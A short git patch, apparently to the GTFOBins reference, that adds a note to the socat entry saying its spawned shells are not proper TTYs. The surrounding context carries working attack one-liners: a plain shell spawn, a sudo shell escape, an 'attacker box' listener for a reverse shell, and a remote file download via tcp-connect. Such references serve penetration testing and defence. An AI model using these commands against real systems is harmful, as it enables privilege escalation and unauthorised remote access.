From 42fa84a08a6011208947bd3e7086e5d2a3b7a092 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Wed, 13 May 2020 19:41:28 +0200 Subject: [PATCH] Add note about socat shell --- _gtfobins/socat.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/_gtfobins/socat.md b/_gtfobins/socat.md index 50dded5..8d06eec 100644 --- a/_gtfobins/socat.md +++ b/_gtfobins/socat.md @@ -1,7 +1,8 @@ --- functions: shell: - - code: | + - description: The resulting shell is not a proper TTY shell and lacks the prompt. + code: | socat stdin exec:/bin/sh reverse-shell: - description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell. @@ -29,7 +30,8 @@ functions: LFILE=file_to_save socat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat sudo: - - code: | + - description: The resulting shell is not a proper TTY shell and lacks the prompt. + code: | sudo socat stdin exec:/bin/sh limited-suid: - description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.